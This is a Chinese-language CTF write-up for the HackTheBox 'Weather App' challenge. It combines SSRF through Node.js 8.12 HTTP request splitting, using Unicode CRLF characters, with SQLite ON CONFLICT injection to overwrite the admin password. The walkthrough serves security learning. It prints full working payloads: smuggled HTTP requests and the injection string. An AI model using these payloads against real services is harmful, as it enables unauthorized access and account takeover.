nodejs请求走私与ssrf

admin 2024年11月27日23:07:16评论9 views字数 7443阅读24分48秒阅读模式

最近看到hackthebox一道题,关于nodejs请求走私的,学到不少东西,这里记录一下。

1. 先说题目

题目直接给了源码,题目名字是weather app,大家有兴趣可以直接去hackthebox做这道题。

源码是nodejs的,docker环境,代码功能看起来很简单,一共三个功能。分别是:登录(login),注册(register)和查询天气的api接口(/api/weather)。

在注册的代码中检查了来源ip是不是127.0.0.1,使用的是req.socket.remoteAddress,这种情况是没办法绕过的。所以需要通过查询天气的api接口来进行ssrf攻击。

以下贴一下关键部分的代码

WeatherHelper.js这是查询天气接口的api,endpoint、city和country三个参数可控,可以通过该处进行ssrf攻击

async getWeather(res, endpoint, city, country) {        // *.openweathermap.org is out of scope        let apiKey = '10a62430af617a949055a46fa6dec32f';        let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); 

router/index.js:这是路由的代码,有三个关键接口/login/register/api/weather,关键代码如下:

router.post('/register', (req, res) => {if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {return res.status(401).end();}let { username, password } = req.body;if (username && password) {return db.register(username, password).then(()  => res.send(response('Successfully registered'))).catch(() => res.send(response('Something went wrong')));}return res.send(response('Missing parameters'));});router.post('/login', (req, res) => {let { username, password } = req.body;if (username && password) {return db.isAdmin(username, password).then(admin => {if (admin) return res.send(fs.readFileSync('/app/flag').toString());return res.send(response('You are not admin'));}).catch(() => res.send(response('Something went wrong')));}return re.send(response('Missing parameters'));});router.post('/api/weather', (req, res) => {let { endpoint, city, country } = req.body;if (endpoint && city && country) {return WeatherHelper.getWeather(res, endpoint, city, country);}return res.send(response('Missing parameters'));});

views/database.js:这是创建数据库和两个判断函数的文件。创建的user表中的admin密码字段为随机字段。关键代码如下

async migrate() {        return this.db.exec(`            DROP TABLE IF EXISTS users;            CREATE TABLE IF NOT EXISTS users (                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,                username   VARCHAR(255) NOT NULL UNIQUE,                password   VARCHAR(255) NOT NULL            );            INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');        `);    }    async register(user, pass) {        // TODO: add parameterization and roll public        return new Promise(async (resolve, reject) => {            try {                let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;                resolve((await this.db.run(query)));            } catch(e) {                reject(e);            }        });    }    async isAdmin(user, pass) {        return new Promise(async (resolve, reject) => {            try {                let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');                let row = await smt.get(user, pass);                resolve(row !== undefined ? row.username == 'admin' : false);            } catch(e) {                reject(e);            }        });    }

根据以上代码不难看出这道题的解题思路:

  1. 根据weather api的查询接口,发起ssrf攻击
  2. ssrf对register接口进行攻击,注册一个用户
  3. 注册的时候利用views/database.js中的register函数的注入漏洞
  4. 登录admin账户即可拿到flag

思路有了,那么几个关键点就出来了,如何发起ssrf攻击?如何利用注入漏洞?

2. nodejs请求走私

题目给了dockerfile文件,其中的关键点就在FROM node:8.12.0-alpine,nodejs指定版本8.12。这个版本已经很老了,目前我使用的版本都v15.x了,所以特定指定该版本,肯定是要利用nodejs的相关漏洞。

通过搜索不难发现nodejs 8.12存在拆分攻击漏洞(请求走私)。在http get请求的时候,没有处理好unicode字符,导致可以构造回车换行符来修改http流量,可以在正常请求中夹带另一个请求。具体的漏洞原理可以查看《通过拆分攻击实现的SSRF攻击》。

而在该题目中,需要通过weather查询的api,来构造一个post到register的请求。

那么我们第一步就是要构造一个正常的注册包,题目给了源码,可以直接在本地用docker起起来。在调试的时候,为了方便可以暂时把判断127.0.0.1的代码给注释掉。

构造正常的注册包如下,注意Content-TypeContent-Length是两个必要的字段,参数上面仅有一行空余:

POST /register HTTP/1.1Host: 127.0.0.1:1337Content-Type: application/x-www-form-urlencodedContent-Length: 38username=admixxxn2&password=admin2

构造如上数据包后,可以正常进行注册。该处有个小的tips,就是Content-Type如果使用application/json的话,会存在编码问题。nodejs的httpget函数在发起请求时,会对特殊字符采用URL编码,如果要请求走私的话,提交的json字符的{}"都会被直接URL编码,如果夹在正常的http包中,服务端不会正常解码,会全部判断为body字符,导致json解码失败。

nodejs请求走私与ssrf

第二步就是要通过请求走私的漏洞,构造一个原始的POST包,混合在正常的数据包中。根据漏洞原理,对于回车换行符可以采用u010Du010A,空格可以采用u0120进行替换。

所以构造出来的数据包如下:

u010Du010APOSTu0120/registeru0120HTTP/1.1u010Du010AHost:u0120127.0.0.1:1337u010Du010AContent-Type:u0120application/x-www-form-urlencodedu010Du010AContent-Length:u012086u010Du010Au010Du010Ausername=admin&password=admin2u010Du010Au010Du010AGETu0120/123

在nodejs中编写如下代码,然后nc监听即可通过nc查看构造的包

const http = require("http");http.get("http://127.0.0.1:8888/query?param=1u0120HTTP/1.1u010Du010AHost:u0120127.0.0.1:8888u010Du010Au010Du010Au010Du010APOSTu0120/registeru0120HTTP/1.1u010Du010AHost:u0120127.0.0.1:1337u010Du010AContent-Type:u0120application/x-www-form-urlencodedu010Du010AContent-Length:u012086u010Du010Au010Du010Ausername=admin2&password=admin2u010Du010Au010Du010AGETu0120/123")

nc可得到构造好的数据包

/app # nc -lvvp 8888listening on [::]:8888 ...connect to [::ffff:127.0.0.1]:8888 from localhost:47630 ([::ffff:127.0.0.1]:47630)GET /query?param=1 HTTP/1.1Host: 127.0.0.1:80POST /register HTTP/1.1Host: 127.0.0.1:1337Content-Type: application/x-www-form-urlencodedContent-Length: 35username=admin2&password=admin2GET /123/data/2.5/weather?q=2,3&units=metric&appid=10a62430af617a949055a46fa6dec32f HTTP/1.1Host: 127.0.0.1:8888Connection: close

最后一步很简单,就是将数据包放入到weather查询的api当中

POST /api/weather HTTP/1.1Host: 127.0.0.1:1337Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ko;q=0.8Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9If-None-Match: W/"40a-17749845bb8"If-Modified-Since: Thu, 28 Jan 2021 15:02:27 GMTConnection: closeContent-Type: application/jsonContent-Length: 474{"endpoint":"127.0.0.1/query?param=1u0120HTTP/1.1u010Du010AHost:u0120127.0.0.1:80u010Du010Au010Du010Au010Du010APOSTu0120/registeru0120HTTP/1.1u010Du010AHost:u0120127.0.0.1:80u010Du010AContent-Type:u0120application/x-www-form-urlencodedu010Du010AContent-Length:u012090u010Du010Au010Du010Ausername=admin2&password=admin2u010Du010Au010Du010AGETu0120/123","city":"2","country": "3"}

3. sqlite注入

上面的ssrf问题解决了,最后一个问题来了,sqlite的注入怎么利用?

    async register(user, pass) {        // TODO: add parameterization and roll public        return new Promise(async (resolve, reject) => {            try {                let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;                resolve((await this.db.run(query)));            } catch(e) {                reject(e);            }        });    }

我们可以看到,注入点在insert里面,一般针对mysql的话,注入点在insert后,一般采用的是报错注入,但这道题是sqlite的后端数据库。

经过一番搜索,针对这道题可以采用ON CONFLICT DO UPDATE的语法,在插入时候如果有冲突的话,则将admin的密码改成我们已知的密码。

以上的注入点可以构造如下语法:

INSERT INTO users (username, password) VALUES ('admin', 'admin') ON CONFLICT(username) DO UPDATE set password='123'

这样在注册的时候,username字段有冲突,就直接把该条记录更改为自己可控的字段。

所以根据以上的内容,可以得到以下的payload

POST /api/weather HTTP/1.1Host: 178.62.14.223:30863Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ko;q=0.8Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9If-None-Match: W/"40a-17749845bb8"If-Modified-Since: Thu, 28 Jan 2021 15:02:27 GMTConnection: closeContent-Type: application/jsonContent-Length: 474{"endpoint":"127.0.0.1/query?param=1u0120HTTP/1.1u010Du010AHost:u0120127.0.0.1:80u010Du010Au010Du010Au010Du010APOSTu0120/registeru0120HTTP/1.1u010Du010AHost:u0120127.0.0.1:80u010Du010AContent-Type:u0120application/x-www-form-urlencodedu010Du010AContent-Length:u012090u010Du010Au010Du010Ausername=admin&password=321')+on+CONFLICT(username)+do+update+set+password=%27123%27--+u010Du010Au010Du010AGETu0120/123","city":"2","country": "3"}

最后使用admin密码321进行登录,即可得到flag。

原文始发于微信公众号(凌晨安全):nodejs请求走私与ssrf

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日23:07:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nodejs请求走私与ssrfhttps://cn-sec.com/archives/1726979.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息